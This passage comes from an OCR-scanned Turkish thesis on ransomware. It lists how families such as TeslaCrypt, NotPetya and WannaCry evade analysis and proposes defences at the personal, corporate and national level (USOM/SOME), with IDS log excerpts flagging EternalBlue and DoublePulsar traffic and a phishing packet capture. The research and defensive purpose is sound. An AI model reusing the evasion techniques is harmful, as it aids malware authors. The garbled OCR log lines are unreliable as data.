Linux.Cryptor: Ingilizce
Simplelocker: Ukraynaca
OSX/KeRanger-A: Ingilizce
WannaCry: Ingilizce

Petya: Ingilizce

NotPetya: Ukraynaca
Cerber: ingilizce

Spora: Rusca

Serpent: ingilizce

6.10. Pasif Korunma Yontemleri

Fidye saldirisin1 gergeklestiren sahislar kendilerinin desifre olmamasi i¢in ¢esitli dnlemler

almaktadirlar. Gelistirdikleri zararli yazilimin tersine miithendislik yontemi ile incelenmesini

engellemek i¢in obfuscation yontemi ile karistirma, K&K sunucular ile kurban arasinda

veya arasunucular arasinda trafigi sifreleme ya da genel kodu sifreleme bunlardan birkagidir.

Asagida maddeler halinde verilen saldirilarda kullanilan pasif korunma yontemleri yer

almaktadir.

Vi.
Vii.

viii.

Xi.

PC Cyborg: herhangi bir 6nlem alinmamustir.

VaultCrypt: bilinmemektedir.

TeslaCrypt: kod obfuscation islemi gergeklestirilmistir. Ayrica sunucular arasi trafik
sifrelenmistir.

NanoLocker: base64 kullanilarak kod doniistimii saglanmistir. Ayrica kodlar
paketleme (packing) islemine tabi tutulmustur.

Linux.Cryptor: bilinmemektedir.

Simplelocker: bazi siirtimlerinde kod obfuscation islemi gergeklestirilmistir.
OSX/KeRanger-A: kodlar paketleme (packing) islemine tabi tutulmustur.
WannaCry: kodlar paketleme (packing) islemine tabi tutulmustur. Ayrica sifreleme
kullanilmustir.

Petya: bilinmemektedir

NotPetya: bilinmemektedir

Cerber: kod obfuscation islemi gergeklestirilmistir. Ayrica sifreleme kullanilmistir.
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xii.  Spora: kod obfuscation islemi ger¢eklestirilmistir. Ayrica sifreleme kullanilmistir.

xiii.  Serpent: kod obfuscation islemi gerceklestirilmistir. Ayrica sifreleme kullanilmistir.

6.11. Aktif Korunma yontemleri

Fidye saldirisin1 gergeklestiren saldirganlar amacina ulasmak ve kimliklerinin gizliligini
korumak i¢in kurbanin kullandig1 cihaz tizerinde de 6nlemler almiglardir. Literatiirde aktif
korunma yontemleri olarak adlandirilan bu yontemler, saldirganlarin basariya ulasmasinda
ve kimliklerinin tespit edilememesinde onem arz etmektedir. Asagida onemli fidye

saldirilarinin incelemesi sonucunda elde edilen bulgulara yer verilmektedir.

I.  PC Cyborg: herhangi bir 6nlem alinmamustir.
ii.  VaultCrypt: bilinmemektedir
iii.  TeslaCrypt: Saldir1 ile birlikte “msconfig, regedit, procexp, taskmgr araglari”
kullanilamaz hale getirilmistir.
iv.  NanoLocker: bilinmemektedir
v.  Linux.Cryptor: bilinmemektedir
vi.  Simplelocker: bilinmemektedir
vii.  OSX/KeRanger-A: bilinmemektedir
viii.  WannaCry: bilinmemektedir
ix. Petya: bilinmemektedir
X.  NotPetya: Tespit edilenler arasinda en fazla detaya sahip olunan fidye saldirilarindan
biridir. Oncelikle sistemde calisan antiviriisleri kontrol eden NotPetya “avp.exe
(Kaspersky AV), NS.exe (Norton Security), ccSvcHst.exe (Symantec)” dosyalari
varsa sifrelemeyi gerceklestirmez. Sifreleme gerceklestirilemezse program kapatilir,
sifreleme gerceklestirilmez.
xi.  Cerber: bilinmemektedir
xii.  Spora: bilinmemektedir

xiii.  Serpent: bilinmemektedir

Farkli 6zellikleri nedeniyle fidye yazilimlari denilince akla gelen 13 farkli fidye saldirisi, 12
temel ayirt edici unsur oOzelinde smiflandirilmistir.  Gergeklestirilen siniflandirmalar,
saldirilarin birbirinden etkilendigini ortaya koymaktadir. Fidye saldirilarinda iz kaybettirme,

minimum risk alma, 6deme yontemlerini ¢esitlendirme, 6nemli dosyalar sifrelemek icin farkl
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yaklasimlar gelistirme ve daha fazla kurbana erigebilme her zaman amaclanan sonuglardandir.
Ozellikle dénemsel olarak gerceklestirilen fidye saldirilarin teknik yaklasim olarak kendini
gelistirdigi  sOylenebilir. WannaCry fidye saldirilarinda tarihinde devrim olarak
nitelendirilebilmektedir. Kendisinden sonra gelen fidye saldirilariin 0. Gilin zaafiyeti
kullanmasindan etkilendigi goriilmektedir. Elde edilen smiflandirma verileri ¢6zim

oOnerilerinde kullanmastir.
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7. lfiDYE YAZILIMLARINA KARSI ALINMASI GEREKEN
ONLEMLER

Fidye saldirilar1 her gegen yil etkisini ve Onemini arttirarak devam ettiren siber saldirilar
arasinda yer almaktadir. Fidye saldirilart baslangigta insanlarin zaafiyetlerini kullanarak
bulasma yontemlerini kullanmiglardir. Bundan dolayr akademik c¢alismalarda ve siber
giivenlik stratejilerinde fidye saldirilarindan korunma yontemleri olarak sahislarin
bilgilendirilmesi en 6nemli paydalardan birini olusturmaktadir. WannaCry saldiristyla birlikte
artik fidye saldirilarin 0. Giin agikliklarini veya sistemlerdeki agikliklari kullanarak sistemi ele
gecirebildigi goriilmiistiir. Bu gelismeyle birlikte kisisel onlemlerin artik 6nemini yavas yavas
yitirdigi, ulusal ve kurumsal bazda 6nlemler alinmasi gerektigi ortaya ¢ikmistir. Bu gelismeyle
birlikte iilkemizde de Bilgi Teknolojileri ve Iletisim Kurumu (BTK) biinyesinde bulunan
USOM yapist ve USOM yapisi ile iletisim halinde olan sektorel ve kurumsal SOME

yapilarinin 6nemi daha fazla artmistir (Bakiniz Sekil 7.1).

— USOM —
(lletisim) (lletisim)

(iletjsim)

(Uyarive bilgilendirme,
koordinasyon)

(Uyarive bilgilendirme,

koordinasyon)

Elektronik
Haberlesme

(iletisim) | Sektdrel SOMEler

Bilgi isleme Sahip Diger
Kamu Kurumlari

Kurumsal SOME’ler

(Uyari ve bilgilendirme,
koordinasyon) Kritik Altyap
isletmecileri

{Kamu veya Ozel)

Kurumsal SOME'ler

Sekil 7.1. Ulusal siber olaylara miidahale organizasyonu [71]
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USOM liilkemize yonelik gerceklestirilen siber olaylara miidahale etmek amaciyla kurulmus
bir yapidir. Ozel sektér ve devlet kurumlarina yonelik gergeklestirilecek siber saldirilara

kars1 onlem alma, bilgi akisin1 saglama gibi bir¢ok gorevi yerine getirmektedir.

Cizelge 7.1. Ulusal siber olaylara miidahale organizasyonu [71]

Organizasyon | Kuruldugu Kurum / Kurulus Hizmet Alani
BTK / Telekomiinikasyon Iletisim )
USOM _ Ulusal siber ortam
Bagkanlig1 (TIB)
. Kritik sektorii diizenleyici ve
denetleyici kurumlar
Sektorel o - ” .
SOME . Diizenleyici ve denetleyici Kritik altyap1 sektorti
kurumlar kuruluncaya kadar ilgili
bakanlik

Kamu kurum, kuruluslar1 ve kritik Ka.lr.nu kaum, kur}ﬂusl'arl Ve_
Kurumsal kritik altyap1 sektorlerindeki

SOME aliggpl sckigFindeki el Ozel kurumlarin siber ortamlari
kurumlar

UDHB tarafindan SOME’lere yonelik hazirlanmis belgeler incelendiginde ve USOM SOME
arasindaki iletisimi saglayacak yap1 Ozelinde paylasilan belgeler analiz edildiginde,
SOME lerin birbiriyle nasil iligki kuracagi, herhangi bir siber olay esnasinda iletisim bazinda
ne yapmasi gerektigi, edinilen tecriibenin nasil raporlanmasi ve kimlerle ve hangi kurumlarla
paylasilmasi1 gerektigi acik¢a yazilmistir. Ayrica SOME personellerinin almasi1 gereken
egitimler, hangi alanlarda calisma yapmasinin beklenildigi de belirtilmistir. USOM yapisi
incelendiginde de SOME’lerle iletisimin kurulmasi yaklasimi, bir saldir1 oldugunda ilgili
Kurumlarin veya 6zel sektoriin uyarilma yapisi, hangi silsile ile ilgili adimlarin atilacag: net
bir sekilde ortaya koyulmustur.Bunun yaninda alinmasi gereken teknik egitimler, teknik

personelin kapasitesi ve siber olaylara miidahale yaklasimlart da tanimlanmastir.

Siber olaylara teknik olarak nasil miidahale edilecegi en Onemli unsurlarin basinda
gelmektedir. Ciinkii herhangi bir siber saldir1 aninda ilgili SOME ekibi yetersiz kalirsa, bagl
oldugu Kurumsal veya sektorel SOME’nin teknik ekibi miidahale etmeli, oda basarisiz
olursa USOM teknik ekibi siber saldirilara miidahale edebilmelidir. SOME, Kurumsal veya
Sektorel SOME ve USOM teknik personelinin miidahale yaklagimlari, teknik kapasiteleri,
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siber saldir1 aninda ve 6ncesinde alinan dnlemler normal olarak herkesin erisebildigi bilgiler

degildir. Ciinkii bu bilgiler Ulusal siber giivenligi ilgilendiren bilgilerdir. Bir¢ok tilkede bu

bilgileri sakli tutmaktadir. Bu acgidan bakildiginda 6nerecegimiz yaklasimlarin halihazirda

USOM ve SOME yapilarinda ne kadarinin hangi basarimla kullanildigi net olarak

bilinememekle birlikte tavsiye niteligi tasimaktadir. Oneriler sunulmadan 6nce bir siber

saldir1 gergeklestiginde bu saldirtyt SOME’lerin veya USOM yapisindaki ¢alisanlarin nasil

engelleyecegi, hangi arastirmalar1 yapacaklari, anlik akan veri {izerinde nasil Onlem

alacaklar1 hususlar1 énem arz etmektedir. Ornek olarak WannaCry gibi bir siber saldirinin

Tiirkiye’de aktif kullanilan bir uygulamaya ait 0. Giin a¢iklig ile gergeklesmesi durumunda;

1. USOM SOME yapisinin teknik olarak saldiriy1 nasil engelleyecegi,

2. Herhangi bir teknik ekibin canli veriyi analiz ederek K&K sunucusunu tespit edip
edemeyecegi,

3. K&K sunucusunun tespit edilmesi durumunda Tiirkiye tiizerindeki kullanicilarin
etkilenmesinin nasil engellenecegi,

4. Ulkemiz kullanicilart etkilenmis ise nasil bir yol izlenecegi,

5. Ulkemize yonelik gergeklesecek kapsamli bir siber saldirida, USOM veya SOME
biinyesinde zararli yazilim analiz edecek ekibin bulunup bulunmadigi var ise bunlarin
gorevleri,

6. Saldir altinda hangi adimlarin hangi sirayla atilacagi,

gibi bilgiler 6nceden galisilmis olmasi gereken ve miimkiin olan en kisa periyotta gercek
saldirilarin gergeklestirilerek test edilmesi gereken durumlardir. Ayrica USOM ve SOME
bilinyesindeki personellerin teknik yeterliliklerinin nasil denetlendigi, teknik ekiplerin
kapasitesinin nasil test edildigi de 6nemli diger unsurlardir. Tabiki ifade edildigi gibi bu
bilgilerin public ortamda yayimlanmasi uygun degildir. Bu degerlendirme kriterleri ilgili
kurumlarca g6z 6ntinde bulundurulabilir. Siber saldirilarin her gecen giin etkisini arttirdigi
ve yaklagimlarmi gelistirdigini g6z Oniline aldigimizda ililkemizdeki USOM ve SOME
yapilariin roliiniin ne kadar énemli oldugu goriilmektedir. Ozellikle saldirilarin artik

bireysel 6nlemler ile engellenmesinin ¢ok zor oldugu da ortadadir.

Fidye yazilimlar1 gibi kiiresel ¢apta yapilan siber saldirilar karsisinda alinmasi gereken
onlemler hem bireysel kullanicilari hem de kurumsal ve ulusal yapilart ilgilendirmektedir.
WannaCry saldirist ile beraber saldirilar Sifirinct giin (Zero Day exploit) agiklan ile

gerceklestirildigi i¢in bireysel bazda alinacak Onlemler ile engellenmesi neredeyse
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imkansizdir. Bu saldirilarda bireysel olarak alinacak onlemler degerli olmakla birlikte,
iilkelerin ilgili kurumlarinin birgok farkli alanda O6nlem almasi ¢ok daha fazla 6nem arz
etmektedir. Fakat asil alinmasi gerecken onlemler kurumsal oldugu kadar hem ulusal bazda
hemde genis kapsamli ve sistematik olarak alinmalidir. Bu baglamda alinmasi gercken
Oonlemler bireysel, kurumsal ve ulusal olarak 3 ana baslhk altinda ayrstirilmig ve
degerlendirmelerimiz ise bu basliklar altinda yapilmistir. Bunlar asagidaki alt basliklarda

detayli olarak agiklanmustir.

7.1. Bireysel Onlemler

Fidye yazilimlar diger siber saldirilarda oldugu gibi bircok yikici etkiye sahip olmakla beraber
sahis bazinda dogrudan yiiksek maliyetli sonuglara neden olabilen bir saldiri ¢esididir.
Bireysel olarak alinacak dnlemler genel olarak siber saldirilardan korunma noktasinda en etkin
onlemler arasinda yer alsa da, WannaCry fidye saldirisi ile birlikte bireysel alinacak énlemler
daha kisith bir asamaya gelmistir. WannaCry saldiris1 diger fidye saldir1 gesitlerinden farkli
olarak 0. giin zaafiyetlerini kullanildig: igin, kullanicilarin SMB gibi sistem iizerindeki bir
acikliktan kaynakli saldirilardan kurtulmasi ilk asamada ¢ok olas1 degildir. Fakat saldirinin
yayilmaya baslamasinin hemen akabinde saldiridan korunma noktasinda ortaya ¢ikan giivenlik
onlemlerinin hizli ve etkin bir sekilde hayata gegirilmesi bireysel olarak alinabilecek en etkin
¢oziimlerdendir. Bireysel bazda genel olarak alinabilecek diger 6nlemler asagida maddeler

halinde verilmistir.

e Kisiler kullandiklar1 bilgisayar ve sistemlerin {izerinde calisan isletim sistemi ve
programlart giincel tutmali ve giivenlik biiltenleri takip etmelidir.

e Kullanilmayan uygulama ve servislerin kullanilmadigi dénemlerde ¢alismadigindan emin
olunmalidir.

e Farkindalik bashig altinda gilivenli olmayan kaynaklar ile internet lizerinden iletisim
kurulmamalidir.

¢ Giivenli olmayan linklere tiklanilmamalidir.

e Fidye saldirilarina kargt 6nemli dosyalar yedeklenmeli, olasi saldirilara karsi harici
disklerde yedekler tutulmalidir.

e lcerigini goriintiilemek icin makrolar1 etkinlestirmenizi &neren herhangi bir Microsoft
Office e-posta ekine karsin son derece dikkatli olunmali, bunun giivenilir bir kaynaktan

gelen orijinal bir e-posta oldugundan emin olunmali, makrolarin kesinlikle etkinlesmesi
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gerektigine inanana ve gerekli giivenlik taramas1 yapana kadar makrolar etkinlestirmemeli,
makrolarin sosyal miihendislik ve oltalama saldirilarinda en ¢ok kullanilan ara¢ oldugu
unutulmamalidir.

e Zararli yazilmm kullandig1 zaafiyeti engellemek icin Windows giincellestirmeler
zamaninda yiiklenmeli, isletim sistemi ve iizerinde calisan temel uygulamalar siirekli
giincel tutulmali ve ilgili haber platformlarin takip edilerek gilincelleme ¢ikmadan olasi

risklerden haberdar olunmali, gerekli dnlemler alinmalidir.

7.2. Kurumsal Onlemler

Fidye yazilimlar1 gibi maddi amag giiden ve sisteme ¢ok biiyiik zarar verebilen saldirilarin
asil etkilemeyi amagladigi kesimler kurumlardir. Kurumlarin sahip oldugu 6nemli belgelerin
calinmasi, sifrelenerek para karsiligr agilmasi veya direk yok edilmesi birgok saldirganin
farkli amaglarla edinmek istedikleri nihai sonuglardir. Bu sebeple kurumlar bu tarz siber
saldirilardan korunmak i¢in her tiirlii 6nlemi almakla yiikiimliidiir. Bu baslikta her kurumun
almasi gereken Oonlemler siralanacaktir. Bir sonraki baslikta yer alacak ulusal 6nlemlerde ise
her tlkenin telekomiinikasyondan sorumlu ve siber alanda ulusal giivenliginden sorumlu
kurumlarin {ilke adina almasi gereken dnlemlerden bahsedilecektir. WannaCry ve Petya gibi
gelismis fidye saldirilarina karsi alinabilecek giincel kurumsal 6nlemler maddeler halinde

asagida verilmistir.

e Her kurum Onemli, gizli ve yiiksek giivenlik derecesine sahip belgelerini internet
baglantis1 olmayan, en az 2 adimli giivenlik Onlemleri iceren kapali sistemlerde
tutmalidir. Kanun geregi bu belgelerin paylasilmasi gerektigide ayrica bilinmektedir.

e Kaybedilmesi durumunda sorun olusturacak her dosya birbiri ile ayni agda olmayan ve
kesinlikle fiziksel baglantist bulunmayan ayri sunucularda yedekli olarak tutulmalidir.

e Personelin sosyal miithendislik saldirilari basta olmak iizere, gergeklesebilecek genel siber
saldirilara kars1 egitim almasi saglanmalidir.

e Belirli periyotlarla, kurum icerisinde olusturulacak bir ekip tarafindan ve/veya bir
firmadan hizmet alimi seklinde, biitiin personele sosyal miihendislik saldirilar
gerceklestirilmeli olusacak sorunlara yonelik 6nlemler alinmalidir. Bu saldirilar sirasinda
e-posta lizerinden, telefon ile arayarak, baska birinin bilgileri kullanilarak bir¢ok
senaryoda test gerceklestirilmeli ve sonuclari personeli bilgilendirecek sekilde

irdelenmelidir.
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e Kurumda kullanilan sistem ve aygitlarin tiimiiniin giivenlik testlerinden gecirilmesi ve
giincelliginin kontrol edilmesi gerekmektedir. Bu kontrol en azindan yilda bir ka¢ kez
yapilmali, miimkiinse haftada en az 1 kez yapilarak stirekli giincel kalma saglanmalidir.

e Kurumlarda miimkiin oldukca farkli isletim sistemi ve yazilimlar kullanilmali, birbirini
yedekleyen sekilde farkli donanim ve yazilimlarla sistemler olasi saldirilardan
korunmalidir.

e Fidye yazilimlari ayni agi kullanan diger cihazlara da yayilabildiginden dolayi,
kurumlarda kullanilan i¢ aglarda dogru konfigiirasyon ayarlar1 girilerek, farkli aygitlar ve
kullanicilar arasinda dosyalara erisim, degistirme veya sifreleme gibi islemlerin

kisitlanmas1 ve onay mekanizmasina sunulmasi gerekmektedir.

Yukarida yer alan onlemler fidye zararli yazilimi kullanilarak gergeklestirilecek siber
saldirilardan korunma noktasinda etkili olacak kurum bazli 6nlemleri igermektedir. Ayrica
asagida detaylar1 verilen topoloji ile kurumlarin fidye saldirilarindan daha az etkilenmesinin

saglanabilecegi degerlendirilmektedir.

Fidye saldirilart iizerinden gergeklesen siber saldirilarin tespiti noktasinda kurum bazinda
alinabilecek onlem asagida topoloji seklinde genel olarak aktarilmistir. Bu yaklasim internet
altyapisimin aktif-aktif calisan ve verinin canli olarak aktigi ag yapisinda da daha detayh
sekilde konuglandirilarak cahstirilabilir. Bu baglamda fidye yazilimlarindan korunma
hususunda ¢oztim odakli ¢alisma yapabilmek i¢in Ag izleme sistemlerinin ag icerisinde
konumlandirilmas: gerekmektedir. Konumlandirilan sensorler tizerinden anomali belirleme ve
monitorleme islemleri yapilmalidir. Bu ¢alisma kapsaminda onerilen 6rnek bir topoloji Sekil

7.2 de gosterilmistir.
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Sekil 7.2. Siber saldirilara kars1 alinabilecek 6rnek bir ag topolojisi

Sekil 7.2°de ag topolojisinde belirtilen noktalara birden fazla sensor yapilandirilarak ag
icerisindeki zararli trafigin IDS tarafindan algilanmasi 6nemlidir. Bir 6nemli nokta ise isinde
uzman bir siber giivenlik uzmaninin trafigi goriintiilemesi ve yorumlamasidir. Ornegin 0.
Giin zaafiyeti kullanilarak yapilmis bir saldirida sisteme sizildig1 anda uzman kisinin loglari

yorumlamasi gerekmektedir. Boylece log analizinden de saldir1 tespit edilebilmektedir.



Date/Time
2070518081207 192.168.116.149 49368 192.168.116.138 445
2017-05-18 08:12:07  192.168.116.138 40368 192.168.116.138 445

1 FADS New Asset - unknown @microsoft-ds
1

RT 1 2017-05-1B08:12:07 192.168.116.143 49377 192.168.116.143 445
1
4

PADS Changed Assat - smb Windows SMB

PADS New Asset - smb Windows SMEB

PADS New Asset -smb Windows SMB

GPL METEIOS SMB-DS IPCS share access

GPL METELOS 5MB-DS IPC$ unicede share access

PADS New Asset - smb Windows SMB

ET EXPLOIT Possible ETERMALBLUE MS17-010 Heap Spray

ET EXPLOIT Possible ETERMALBLUE M517-010 Echo Response

ET 5CAN Behavioral Unusual Port 445 traffic Potential Scan or Infection

2017-05-18 08:12:08  192.168.116.150 45381  192.168.116.150 445
2017-05-18 08:12:07  192.168.116.149 40368 192.168.116.138 445
31 2017-05-18 081210 192.168.116.149 40419 192.168.116.138 445
1 Z0O17-05-1B08:12:11  192.168.116.172 40448 192.168.116.172 445
2017-05-18 08:12:13  192.168.116.149 40472 192.168.116.138 445
2017-05-18 08:12:19  192.168.116.172 445 192.168.116.149 49608

e | R
&

2017-05-1808:12:20  192.168.116.149 45667 192.168.116.172 445
ET CURRENT_EVENTS ETERNALBLUE Exp loit M2 M517-010

ET EXPLOIT Passible ETERMALBLUE MS17-010 Echo Response
ET EXPLOIT Possible ETERMALBLUE M517-010 Echo Response
ET EXPLOIT Possible DOUELEFULSAR Beacon Response

GFL METEIOS SMB-DS IPCS share access

PADS hew Asset -smb Windows SMB

2017-05-18 0812525 192.168.116.142 445 192.168.116.149 40767
20M17-05-1808:12:47 192168116138 445 192.168.116.149 50240
2596 2017-05-18 08:13:01 192.168.116.138 445 192.168.116.149 50725
RT 4 ZOVF-05-1B08:13:21  192.168.116.138 1245 192.168.116.143 445
RT 1 2017-05-1808:13:21  192.168.116.149 1257 192.168.116.149 445
RT 14 Z0717-05-18 08:13:24 192.168.116.138 1295 192.168.116.143 445
- 17 Z017-05-1B08:13:78 192.168.116.138 1366 192.168.116.143 445
- 3 2O17-05-1808:13:29  192.168.116.149 445 192.168.116.138 1366
- 2 RH1P-05-1808:13:31  192.168.116.138 1440 192.168.116.172 445
- 2582 20M7-05-1B08:13:36  192.168.116.172 445 192.168.116.138 1557
RT 4 2OVF-05-1B 081355  192.168.116.172 49359 192.168.116.138 445
- 2582 2017-05-1808:13:56  192.168.116.149 445 192.168.116.138 1936
RT & 2017-05-1808:13:59 192168116172 49409 192.168.116.138 445

T
1
8 2017-05-1808:12:21  192.168.116.149 49608 192.168.116.172 445
9
2

GPL METEIOS SMB-DS IPC$ unicode share access

ET EXPLOIT Possible ETERNALBLUE M517-010 Heap Spray

ET EXPLOIT Possible ETERMALBLUE M517-010 Echo Response
ET CURRENT_EVENTS ETERMALBLUE Exploit M2 M517-010

ET EXPLOIT Possible DOUELEPULSAR Beacon Response

GPL METEIOS SMB-DS IPCS share access

ET EXPLOIT Possible DOUBLEPULSAR Beacon Response

GPL NETBIOS SMB-DS IPCS unicode share access

- T - - - TR - - V- TR T - N - - T TR~ - - TR~ - - T - T

Resim 7.1. Onion ¢iktisindan DoublePlusar kayit alinmasi

Resim 7.1°de verilen security Onion c¢iktisindan DoublePlusar kaydindan bir &rnek

verilmistir.

SMB iizerine yapilan saldirilar i¢in ag trafiginden TCP 445 portuna gelen baglantilardan
hemen sonra yapilan baglantilar analiz edilerek saldirganlarin kurbanin sistemine
baglanmasi (reverse shell) analiz edilebilir. Eger bu durum karsidan komut bekleyerek
devam ediyorsa 0. Giin exploiti kullanilarak baglatilmis bir saldir1 ag baglantilarindan tahmin
yoluyla analiz edilebilir. Sekil 7.3’de yeni bir ag topolojisi iiretilmistir. Ag topolojisi
incelendiginde exploit edilen kutu lizerinden hedef kutuya atak yapilacagi zaman illaki yeni,

farkli veya olagandisi ag baglantilar1 yapilacaktir.
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Sekil 7.3. Exploit edilen kutu iizerinden hedef kutuya atak yapilan bir ag topolojisi
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Log kayztlar1 incelenerek yapilan saldir1 vakasi burada tespit edilebilir. Windows sunucular

iizerinde Emet ve Group policy aktif edilerek bof agikliklarina karsi kismi dnlemler

alinabilir. Oltalama saldirilari ile gelen fidye yazilimlari i¢in de uygun koruma yontemleri

alinmalidir. Resim 7.2’de verilen paket ¢iktisi incelendiginde PayPal goriiniimlii sahte sayfa

ile saldir1 yapildig1 anlasilmistir.

Source Destination Protocol  Length Info
184.154.127.226 192.168.1.188 HTTP 459 HTTP/1.1 288 OK (PNG)
192.168.1.188 184.154.127.226 HTTP 547 GET /update.php HTTP/1.1

------ CP Previous segment

Continuaticn

HTTP 1514 Continuation

HTTP 1113 Continuaticn

HTTP 534 GET /img/icon_checked.png HTTP/1.1
HTTP 534 GET /img/icon_uncheck.png HTTP/1.1
HTTP 538 GET /img/feedback.png HTTP/1.1

HTTP 548 GET /img/logo.swg HTTP/1.1

HTTP 592 GET /font/PayPalSanssmall-Medium.woff2

GET
ious s

HTTP/1.1 288 OK

.127.226 192.168.1.188 HTTP

(PNG)
184.154,127.226 192.168.1.1688 HTTP 1198 HTTP/1.1 288 OK (PNG)
192.168.1.168 184.154.127.226 HTTP 669 GET /js/jquery.creditCardValidator.min
192.168.1. 1@ 184.154.127.226 HTTP 549 GET /img/arrow.png HTTP/1.1
192.168.1. 1@ 184.154.127.226 HTTP 529 GET /img/profile.png HTTR/1.1
184.154.127.226 192.168.1.186 HTTP 1295 HTTP/1.1 288 0K

Resim 7.2. PayPal goriiniimlii sahte sayfa ile saldiri
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Bunun hizlica yayilabilmesi i¢in, ag yapisinin uygun yerlerine mail security ve trafik analiz

cihazlar1 yapilandirilmalidir.
7.3. Ulusal Onlemler

Siber saldirilar bir¢cok iilke tarafindan etkin silahlardan biri olarak kullanilmaktadir.
Glinlimiizde siber saldirilarin, script kidy olarak nitelendirilen ve hazir araglari kullanarak
kiiciik kisisel tatminler elde etmeyi amaglayan vasifsiz sahislarin gergeklestirdigi
saldirilardan ¢ok, iilkelerin destekledigi veya tlilkelere ait olan siber ordular tarafindan
gergeklestirilen kompleks, biiyiik 6l¢ekli, planli ve yikici etkiye sahip saldirilar oldugu
goriilmektedir. Bu saldirilardan korunma konusunda da her iilke kendi ulusal siber
giivenligini saglamak zorundadir. Tezde yer alan fidye saldirilari da konvansiyonal
gerceklestirilen, etki alani ve sonucu baz alindiginda biiyiik farklar olusturabilecek
potansiyale sahip saldirilardir. Bu saldirilarin etkileri bireysel ve kurumsal onlemlerle
minimize edilebilecek olsa da tamamen korunmak i¢in alinmasi gereken daha biiyiik

onlemlerin ulusal olarak alinmasi1 gerekmektedir.

Ulkemizde "Ulusal Siber Giivenlik Stratejisi ve 2013-2014 Eylem Plan1" belgesi ile baslayan
"Ulusal Siber Giivenlik Stratejisi Ve 2015-2016 Eylem Plan1" belgesi ile devam eden siiregte
siber saldirilardan korunma noktasinda bir¢ok alanda baslangi¢ seviyesinde c¢alismalar
yapilmustir. [lkokul ¢agindan itibaren ¢izgi filmler, kitaplar, belgeseller, oyunlar vasitasiyla
siber giivenlik alaninda ki farkindaligin arttirilmasi ¢ok 6nemli bir gelisme olmakla beraber
WannaCry gibi 0. giin saldirilarindan kurtulmak i¢in bu farkindaligin ¢ok daha {istiine
¢ikilmas1 gerekmektedir. Ornek vermek gerekirse tammadiginiz kisiden gelen e-postalari
agmayin bunun yerine artik, siber saldirilarda bagkasinin hesabi iizerinden e-postalar
atilabildigi anlatilmali, bir dosyanin indirmeyi birakin goriintiilenmesinin bile bir
downloader ile bilgisayariniza zararli yazilimin yiliklenmesi i¢in yeterli olacaginin dogru
sekilde aktarilmasi gerekmektedir. Bu gibi saldirilardan korunmak i¢in gerekli olan teknik
bilgi de ihtiya¢ seviyesine gdre belirlenmeli ve aktarilmalidir. Ozellikle farkindalik
olusturma agisindan gerceklestirilen ¢alismalarin ¢ok faydali oldugu degerlendirilmekle
birlikte, Teknik olarak alinmasi planlanan 6nlemlerin temelinin dogru oturtulmamasi ve
gorevlendirilen kurumlarin gerekli ¢aligmalar1 dogru sekilde yapamamasindan dolay1 etkin
bir sekilde uygulanmadigi degerlendirilmektedir. Devam eden siirecte "2016-2019-Ulusal-
E-Devlet-Stratejisi-Ve-Eylem-Plani", "Tiirkiye Yazilim Sektorii Stratejisi ve Eylem Plan1”
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gibi bir¢ok alanda ulusal teknolojik gelismelerin standardini olusturan ve atilmasi gereken
adimlarin aktarildig1 belgeler olusturulmustur. Fakat bu alanlardaki gelismeleri etkileyecek
en onemli faktorlerin baginda Siber giivenlik alaninda ki alinacak onlemler yer almaktadir.
Ornek olarak E-devlet verisinde Tiirkiye Cumhuriyeti'nde yasayan sahislara ait en degerli
kisisel bilgilerin tamamina yakinmnin yer aldigi diisiintildiiglinde verilerin korunmasi
hususunun ne kadar 6nemli oldugu herkesin malumudur. "Ulusal-e-devlet-stratejisi-ve-
eylem-plani" incelendiginde her ilgili baslikta "siber gilivenlik gereksinimleri dikkate
almarak ihtiya¢ duyulan yeni sistemler gelistirilecek" seklinde yer alan ifade ile yeni
sistemlerin gelistirilecegi veya giincellenecegi belirtilmekle beraber, WannaCry saldirilar
gibi 0. giin acikliklarin1 kullanan genis kapsamli saldirilart tespit edecek, saldiri aninda
aksiyon alarak sistemin zarar gdérmesini engelleyecek bir yaklasimdan veya yapidan
bahsedilmemektedir. Strateji belgelerinde her calismanin detayli olarak yazilmasinin
gerekmedigi bilinmekle birlikte, tilkelerin siber ordulari tarafindan gergeklestirilecek ve
kapal1 aglarda da aktif olabilen saldirilardan korunma, kars1 koyma ve engelleme yoniinde
aktif miidahale edebilecek ekiplerin olusturulmasi, gorev tanimlarinin belirlenmesi, acil
durumlarda diger ilgili sahis ve kurumlarla ortak ¢aligma altyapisinin olusturulmasina iliskin
maddelerin eklenmesine ihtiyag duyuldugu degerlendirilmektedir. Ulusal strateji belgesi ile
olusan USOM ve her SOME yapisinin yukarida dnerilen ekip ¢alisma yaklasimindan uzak
oldugu ve teknik kapasitelerinin belirtilen ¢aligmalar: yapacak seviyeye ¢ikarilmasi gerektigi
degerlendirilmektedir. Bu baglamda Ulusal Strateji belgelerinde de detayli olarak belirtilen
kritik kurumlarin tespitinin dogru temeller lizerinden yapilmasinin akabinde bu kurumlarin
giivenlik ekiplerinin almasi1 gereken Onlemler hususlarina "siber saldirilarda kullanilan
zararl1 yazilimlarin anlik olarak incelenmesi, saldirinin kaynaginin tespiti, saldirmin aktif
sistem tlizerinden engellenmesi" gibi bashklarin eklenmesine ihtiyag duyuldugu

degerlendirilmektedir.

Tiirkiye'de ulusal siber giivenlik denilince akla gelen ilk kurumlardan biri Bilgi Teknolojileri
ve lletisim Kurumudur. Ulkemizde ISP ler marifeti ile aktif olarak internet verisine
miidahale ve denetleme yetkisi bulunan BTK ayrica Ulusal siber giivenligin saglanmasi
hususunda yetki verilen kurumlarin baginda gelmektedir. Ulusal Siber Olaylara Miidahale
Merkezini biinyesinde bulunduran BTK, Ulkemize yonelik gerceklesen siber saldirilara
karst onlem alma hususunda yetkili olan kurumdur. BTK biinyesinde bulunan USOM,
Kurumlarda bulunan SOME'ler ile iletisimde bulunan ve gergeklesen siber saldirilara karsi

anlik 6nlem almas1 gereken merkezdir. Ulkemize yonelik gerceklesen siber saldirilar
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incelendiginde USOM ve SOME merkezlerinin saldirilar1 engelleme konusunda daha genis
Onlemler almasi gerektigi degerlendirilmektedir. USOM biinyesinde siber saldirilari
engellemeye yoOnelik alinabilecek oOnlemler asagida onerilmistir (USOM biinyesindeki

teknik ekibin yapis1 halka agik bir bilgi olmadigi i¢in olmasi gereken durum onerilmistir).

e Gergeklesen siber saldirilar1 anlik olarak ¢ok yonlii tersine miithendislik yontemleri ile
analiz ederek saldir1 yaklasiminin ve saldirida kullanilan fonksiyonel yapilarin tespiti
ihtiyacina binaen USOM yapisinda kapsamli ve yetkin bir ekibin olugturulmasi,

